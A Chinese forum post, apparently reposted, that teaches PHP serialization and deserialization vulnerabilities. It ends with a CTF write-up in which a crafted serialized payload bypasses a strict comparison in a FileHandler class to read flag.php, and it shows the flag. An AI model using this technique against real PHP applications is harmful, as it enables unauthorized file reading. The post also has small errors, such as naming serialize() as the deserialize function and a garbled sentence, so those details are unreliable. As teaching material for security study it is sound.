设为首页收藏本站
网站公告 | 这是第一条公告
     

 找回密码
 立即注册
缓存时间18 现在时间18 缓存数据 你我最后竟然也平凡到自命不凡。

你我最后竟然也平凡到自命不凡。 -- 像我这样的人

查看: 960|回复: 0

PHP的序列化和反序列化详情

[复制链接]

  离线 

TA的专栏

  • 打卡等级:热心大叔
  • 打卡总天数:221
  • 打卡月天数:0
  • 打卡总奖励:3547
  • 最近打卡:2025-03-21 17:08:49
等级头衔

等級:晓枫资讯-上等兵

在线时间
0 小时

积分成就
威望
0
贡献
424
主题
392
精华
0
金钱
4824
积分
861
注册时间
2023-1-6
最后登录
2025-5-31

发表于 2023-2-12 19:24:34 | 显示全部楼层 |阅读模式
一、PHP 为什么要反序列化?

PHP程序执行结束以后会将文件中的变量和内容释放掉, 如果一个程序想要的调用之前程序的变量,但是之前的程序已经执行完毕,所有的变量和内容都被释放,那该如何操作呢?这时候就可以通过序列化和反序列化保存程序中的对象,给其他程序使用。 php序列化可以将对象转换成字符串,但只序列化属性,不序列化方法。

二、PHP如何反序列化?

​PHP用序列化和反序列化函数达到序列化和反序列化的目的

  • 序列化:serialize()
  • 反序列化:serialize()
例子:
  1. <?php
  2. class TEST{
  3.     public $a="public";
  4.     private $b="private";
  5.     protected $c="protected";
  6.         static $d="static";
  7. }

  8. $aaa=new TEST();
  9. echo serialize($aaa);

  10. ?>
  11. 输出:O:4:"TEST":3{s:1:"a";s:6:"public";s:7:"TESTb";s:7:"private";s:4:"*c";s:9:"protected";}
复制代码
解释:
  1. O:表示这是一个对象4:对象的名称TEST有4个字符TEST:对象的名称3:对象属性的个数(不包含static)
复制代码
  1. s:变量名数据类型为string1:变量a的名字长度a:变量名称s:变量值的数据类型6:变量值的长度public:变量的值
复制代码
  1. s:变量名的数据类型7:变量名的长度(private属性序列化会在变量名前加标记%00classname%00,长度=类名长度+变量名长度+2)TESTb:变量名称(private属性的变量名在序列化时会加上类名,即类名+变量名)s:变量值的数据类型7:变量值的长度private:变量的值
复制代码
  1. s:变量名数据类型4:变量名长度*c:变量名称(protected属性的变量名会在序列化时会在变量名前加上一个" %00*%00",长度=变量名长度+3)s:变量值的数据类型9:变量值的长度
复制代码
protected:变量的值
小知识:

  • public(公有):公有的类成员可以在任何地方被访问。
  • protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
  • private(私有):私有的类成员则只能被其定义所在的类访问。
类属性必须定义为公有,受保护,私有之一。如果用 var 定义,则被视为公有。
static:静态属性单独存在类中(属于类),不属于对象。因此只要类声明完毕,该属性就存在。既访问该静态属性不需要依赖于对象就可以访问,static 在类中一直有,因此他被所有对象共享,一人影响,其他共享。
普通方法存放在类种,在内存中只有1份。静态方法也如此。 区别 :普通方法需要对象去调用,需绑 t h i s 。 静 态 方 法 不 需 要 绑 定 this。 静态方法不需要绑定 this。静态方法不需要绑定this,则通过类名即可调用。

三、PHP反序列化漏洞


1、常用 的魔术方法

方法作用__construct()创建对象时触发(定义构造方法)__destruct()对象被销毁时触发(定义析构方法)__call()在对象上下文调用不可访问的方法时触发__callStatic()在静态上下文中调用不可访问的方法时触发__get()用于从不可访问的属性读取数据__set()用于将数据写入不可访问的属性__isset()在不可访问的属性上调用isset()或empty()触发__unset()在不可访问的属性上使用unset()时触发__invoke()当脚本尝试将对象调用为函数时触发__sleep()serialize() 函数会检查类中是否存在一个魔术方法 __sleep(),如果存在,该方法会先被调用,然后才执行序列化操作__wakeup()unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用该方法。影响版本:PHP5 < 5.6.25 ,PHP7 < 7.0.10  
2、漏洞产生条件

unserialize()函数的变量可控,php文件中存在可利用的类,类中有魔法函数

3、题目

题目源码:
  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);   
  4. class FileHandler {
  5.     protected $op;
  6.     protected $filename;
  7.     protected $content;
  8.     function __construct() {
  9.         $op = "1";
  10.         $filename = "/tmp/tmpfile";
  11.         $content = "Hello World!";
  12.         $this->process();
  13.     }

  14.     public function process() {
  15.         if($this->op == "1") {
  16.             $this->write();
  17.         } else if($this->op == "2") {
  18.             $res = $this->read();
  19.             $this->output($res);
  20.         } else {
  21.             $this->output("Bad Hacker!");
  22.         }
  23.     }

  24.     private function write() {
  25.         if(isset($this->filename) && isset($this->content)) {
  26.             if(strlen((string)$this->content) > 100) {
  27.                 $this->output("Too long!");
  28.                 die();
  29.             }
  30.             $res = file_put_contents($this->filename, $this->content);
  31.             if($res) $this->output("Successful!");
  32.             else $this->output("Failed!");
  33.         } else {
  34.             $this->output("Failed!");
  35.         }
  36.     }
  37.     private function read() {
  38.         $res = "";
  39.         if(isset($this->filename)) {
  40.             $res = file_get_contents($this->filename);
  41.         }
  42.         return $res;
  43.     }

  44.     private function output($s) {
  45.         echo "[Result]: <br>";
  46.         echo $s;
  47.     }

  48.     function __destruct() {
  49.         if($this->op === "2")
  50.             $this->op = "1";
  51.         $this->content = "";
  52.         $this->process();
  53.     }

  54. }
  55. function is_valid($s) {
  56.     for($i = 0; $i < strlen($s); $i++)
  57.         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58.             return false;
  59.     return true;
  60. }

  61. if(isset($_GET{'str'})) {

  62.     $str = (string)$_GET['str'];
  63.     if(is_valid($str)) {
  64.         $obj = unserialize($str);
  65.     }

  66. }
复制代码
源码分析:
  1. <?php
  2. include("flag.php");      //包含文件flag.php
  3. highlight_file(__FILE__);   //高亮显示当前文件
  4. class FileHandler {                        //定义了一个类
  5.     protected $op;         //定义了三个受保护的属性
  6.     protected $filename;
  7.     protected $content;
  8.     function __construct() {   //定义构造方法,序列化时会自动调用
  9.         $op = "1";                          //定义方法中的属性并赋值
  10.         $filename = "/tmp/tmpfile";
  11.         $content = "Hello World!";
  12.         $this->process();     //调用类中的方法
  13.     }

  14.     public function process() {         //定义公有方法
  15.         if($this->op == "1") {          //如果op=="1",调用write()
  16.             $this->write();
  17.         } else if($this->op == "2") {   //如果op=="2",调用read()并输出结果
  18.             $res = $this->read();
  19.             $this->output($res);
  20.         } else {
  21.             $this->output("Bad Hacker!");  //否则输出"Bad Hacker!"
  22.         }
  23.     }

  24.     private function write() {      //定义私有方法
  25.         if(isset($this->filename) && isset($this->content)) {  
  26.         //判断filename和content是否为空
  27.             if(strlen((string)$this->content) > 100) {  //判断content长度是否大于100
  28.                 $this->output("Too long!");
  29.                 die();
  30.             }
  31.             $res = file_put_contents($this->filename, $this->content);
  32.             //将content写入文件中,写入成功返回true
  33.             if($res) $this->output("Successful!");
  34.             else $this->output("Failed!");
  35.         } else {
  36.             $this->output("Failed!");
  37.         }
  38.     }
  39.     private function read() {
  40.         $res = "";
  41.         if(isset($this->filename)) {
  42.             $res = file_get_contents($this->filename);//将文件读入到字符串中
  43.         }
  44.         return $res;
  45.     }

  46.     private function output($s) {   //输出函数
  47.         echo "[Result]: <br>";
  48.         echo $s;
  49.     }

  50.     function __destruct() {     //定义析构方法,对象被销毁时自动调用
  51.         if($this->op === "2")   //比较op是否等于2,强比较
  52.             $this->op = "1";    //op="1"
  53.         $this->content = "";    //content置为空
  54.         $this->process();
  55.     }

  56. }
  57. function is_valid($s) {    //定义方法
  58.     for($i = 0; $i < strlen($s); $i++)
  59.         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  60.         //判断传入的字符的ascii码是否在指定范围
  61.             return false;
  62.     return true;
  63. }
  64. if(isset($_GET{'str'})) {
  65.     $str = (string)$_GET['str'];   //强制类型转换为string
  66.     if(is_valid($str)) {
  67.         $obj = unserialize($str);  //反序列化str
  68.     }

  69. }
复制代码
解题思路:
要想得到flag,就要将文件的内容读入变量并输出,要想输出就要调用read()方法
要想调用read()方法,就要让op == "2",但是当我们构建序列化传参给str时会自动调用__destruct()方法,使我们传入的op == "2"变成op == "1",但是在php中‘===’与‘==’不同,可以通过op=" 2"绕过强等于,要读取正确的flag,我们需要读取flag.php,也就是说filenmae的值要为flag.php,我们需要覆盖掉原来的filename的值
构造payload
  1. <?php
  2. class FileHandler {
  3.    public $op=' 2';
  4.    public $filename="flag.php";
  5.    public $content='';
  6. }
  7. $a=new FileHandler();
  8. echo serialize($a);
  9. ?>

  10. O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
复制代码
获取flag
  1. flag{66907d94-ac4c-4476-9400-ccbbbbbd0fbd}
复制代码
到此这篇关于PHP的序列化和反序列化详情的文章就介绍到这了,更多相关PHP序列化内容请搜索晓枫资讯以前的文章或继续浏览下面的相关文章希望大家以后多多支持晓枫资讯!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
晓枫资讯-科技资讯社区-免责声明
免责声明:以上内容为本网站转自其它媒体,相关信息仅为传递更多信息之目的,不代表本网观点,亦不代表本网站赞同其观点或证实其内容的真实性。
      1、注册用户在本社区发表、转载的任何作品仅代表其个人观点,不代表本社区认同其观点。
      2、管理员及版主有权在不事先通知或不经作者准许的情况下删除其在本社区所发表的文章。
      3、本社区的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,举报反馈:点击这里给我发消息进行删除处理。
      4、本社区一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
      5、以上声明内容的最终解释权归《晓枫资讯-科技资讯社区》所有。
http://bbs.yzwlo.com 晓枫资讯--游戏IT新闻资讯~~~
严禁发布广告,淫秽、色情、赌博、暴力、凶杀、恐怖、间谍及其他违反国家法律法规的内容。!晓枫资讯-社区
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|晓枫资讯--科技资讯社区 本站已运行

CopyRight © 2022-2025 晓枫资讯--科技资讯社区 ( BBS.yzwlo.com ) . All Rights Reserved .

晓枫资讯--科技资讯社区

本站内容由用户自主分享和转载自互联网,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。

如有侵权、违反国家法律政策行为,请联系我们,我们会第一时间及时清除和处理! 举报反馈邮箱:点击这里给我发消息

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表